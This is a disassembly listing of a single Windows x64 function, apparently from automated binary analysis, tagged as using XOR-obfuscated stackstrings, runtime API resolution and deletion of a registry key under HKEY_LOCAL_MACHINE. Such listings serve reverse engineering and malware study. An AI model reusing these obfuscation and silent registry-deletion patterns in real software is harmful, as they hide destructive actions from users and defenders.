Function at 0x1400663e0
Capabilities:
Contain obfuscated stackstrings
Delete registry key
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x40]
sub rsp, 0x140
mov rax, qword [0x1400a0040]
xor rax, rsp
mov qword [rbp + 0x38], rax
mov rdi, rcx
xor r15d, r15d
mov dword [rsp + 0x60], 0x6a61706d
mov dword [rsp + 0x64], 0x666d266b
mov word [rsp + 0x68], 0x67
mov byte [rsp + 0x6a], 1
mov eax, r15d
nop word [rax + rax]
lea ecx, [rax + 3]
xor byte [rsp + rax + 0x60], cl
inc rax
cmp rax, 9
jb 0x140066440
mov byte [rsp + 0x6a], r15b
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r14, rax
test rax, rax
je 0x140066937
mov dword [rsp + 0x70], 0xd75ad75b
mov dword [rsp + 0x74], 0xd76dd76c
mov dword [rsp + 0x78], 0xd77fd762
mov dword [rsp + 0x7c], 0xd77cd779
mov dword [rbp - 0x80], 0xd74cd776
mov dword [rbp - 0x7c], 0xd773d75c
mov dword [rbp - 0x78], 0xd77cd770
mov dword [rbp - 0x74], 0xd778d77c
mov dword [rbp - 0x70], 0xd744d772
mov dword [rbp - 0x6c], 0xd763d74a
mov dword [rbp - 0x68], 0xd768d768
mov dword [rbp - 0x64], 0xd773d778
mov dword [rbp - 0x60], 0xd763d743
mov dword [rbp - 0x5c], 0xd750d754
mov dword [rbp - 0x58], 0xd741d751
mov dword [rbp - 0x54], 0xd752d74b
mov dword [rbp - 0x50], 0xd747d764
mov dword [rbp - 0x4c], 0xd75ed747
mov dword [rbp - 0x48], 0xd743d759
mov dword [rbp - 0x44], 0xd77dd741
mov dword [rbp - 0x40], 0xd744d74a
mov dword [rbp - 0x3c], 0xd761d76d
mov dword [rbp - 0x38], 0xd746d756
mov dword [rbp - 0x34], 0xd75fd743
mov dword [rbp - 0x30], 0xd75dd754
mov dword [rbp - 0x2c], 0xd766d74a
mov word [rbp - 0x28], r15w
mov byte [rbp - 0x26], 1
mov rcx, r15
mov edx, 0x28f9
nop word [rax + rax]
movzx eax, cx
sub ax, dx
xor word [rsp + rcx*2 + 0x70], ax
inc rcx
cmp rcx, 0x34
jb 0x140066540
mov byte [rbp - 0x26], r15b
lea rax, [rsp + 0x70]
mov rbx, 0xffffffffffffffff
mov rcx, rbx
nop word [rax + rax]
inc rcx
cmp word [rax + rcx*2], r15w
jne 0x140066570
mov rdx, qword [rdi + 0x10]
movabs rsi, 0x7ffffffffffffffe
mov rax, rsi
sub rax, rdx
cmp rax, rcx
jb 0x14006696a
mov rax, rdi
cmp qword [rdi + 0x18], 7
jbe 0x1400665a4
mov rax, qword [rdi]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x70]
lea rcx, [rbp + 8]
call fcn.140062120
nop
lea rdx, [rbp + 8]
cmp qword [rbp + 0x20], 7
cmova rdx, qword [rbp + 8]
lea rcx, [rbp + 0x28]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
mov dword [rsp + 0x70], 0xd75dd750
mov dword [rsp + 0x74], 0xd752d756
mov dword [rsp + 0x78], 0xd745d742
mov dword [rsp + 0x7c], 0xd749d755
mov dword [rbp - 0x80], 0xd77ed77e
mov dword [rbp - 0x7c], 0xd76bd77f
mov dword [rbp - 0x78], 0xd764d761
mov dword [rbp - 0x74], 0xd77dd752
mov dword [rbp - 0x70], 0xd760d77d
mov dword [rbp - 0x6c], 0xd779d767
mov dword [rbp - 0x68], 0xd74bd77b
mov dword [rbp - 0x64], 0xd76ed77c
mov dword [rbp - 0x60], 0xd74fd747
mov dword [rbp - 0x5c], 0xd76cd778
mov dword [rbp - 0x58], 0xd749d769
mov dword [rbp - 0x54], 0xd747d742
mov dword [rbp - 0x50], 0xd778d750
mov word [rbp - 0x4c], r15w
mov byte [rbp - 0x4a], 1
mov rcx, r15
mov edx, 0x28fd
nop word [rax + rax]
movzx eax, cx
sub ax, dx
xor word [rsp + rcx*2 + 0x70], ax
inc rcx
cmp rcx, 0x22
jb 0x140066670
mov byte [rbp - 0x4a], 0
lea rax, [rsp + 0x70]
nop dword [rax]
inc rbx
cmp word [rax + rbx*2], 0
jne 0x140066690
mov rax, qword [rdi + 0x10]
sub rsi, rax
cmp rsi, rbx
jb 0x140066964
cmp qword [rdi + 0x18], 7
jbe 0x1400666b4
mov rdi, qword [rdi]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rbx
lea r9, [rsp + 0x70]
lea rcx, [rbp - 0x18]
call fcn.140062120
nop
lea rdx, [rbp - 0x18]
cmp qword [rbp], 7
cmova rdx, qword [rbp - 0x18]
lea r8, [rbp - 0x20]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
je 0x140066700
cmp eax, 2
sete bl
jmp 0x14006689c
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [rsp + 0x40], 0x645c7c49
mov dword [rsp + 0x44], 0x6a6c6367
mov dword [rsp + 0x48], 0x6478624b
mov dword [rsp + 0x4c], 0x1006676
mov rcx, r15
nop dword [rax]
lea eax, [rcx + 7]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 0xe
jb 0x140066730
mov byte [rsp + 0x4f], 0
lea rdx, [rsp + 0x40]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rbp + 0x28]
call rax
mov ebx, eax
movdqa xmm0, xmmword [0x1400950b0]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0x49396a72
mov dword [rsp + 0x54], 0x6b697d6f
mov dword [rsp + 0x58], 0x5a11006c
mov word [rsp + 0x5c], pe_nt_image_headers64
mov rdx, r15
nop dword [rax + rax]
lea eax, [rdx + 7]
xor byte [rsp + rdx + 0x40], al
inc rdx
cmp rdx, 0x1c
jb 0x140066790
mov byte [rsp + 0x5d], 0
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140061680
lea rdx, [0x140053f20]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int____ptr64]
lea rdx, [0x14005d240]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
test ebx, ebx
je 0x140066877
movdqa xmm0, xmmword [0x140095120]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0x77533477
mov dword [rsp + 0x54], 0x7e7c747e
mov dword [rsp + 0x58], 0x1003d3a
mov r8, r15
nop dword [rax]
nop word [rax + rax]
lea eax, [r8 + 3]
xor byte [rsp + r8 + 0x40], al
inc r8
cmp r8, 0x1a
jb 0x140066820
mov byte [rsp + 0x5b], 0
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140061680
lea rdx, [0x14005d240]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, [rbp - 0x18]
cmp qword [rbp], 7
cmova rdx, qword [rbp - 0x18]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
xor bl, bl
jmp 0x14006689c
lea rdx, [rbp - 0x18]
cmp qword [rbp], 7
cmova rdx, qword [rbp - 0x18]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
je 0x14006689a
xor bl, bl
jmp 0x14006689c
mov bl, 1
mov rdx, qword [rbp]
cmp rdx, 7
jbe 0x1400668df
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400668da
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400668da
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140080070
movdqa xmm0, xmmword [0x140094e30]
movdqu xmmword [rbp - 8], xmm0
mov word [rbp - 0x18], r15w
mov rdx, qword [rbp + 0x20]
cmp rdx, 7
jbe 0x140066934
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006692f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006692f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140080070
movzx eax, bl
mov rcx, qword [rbp + 0x38]
xor rcx, rsp
call fcn.14007fe60
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140053e40
nop
call fcn.140053e40
int3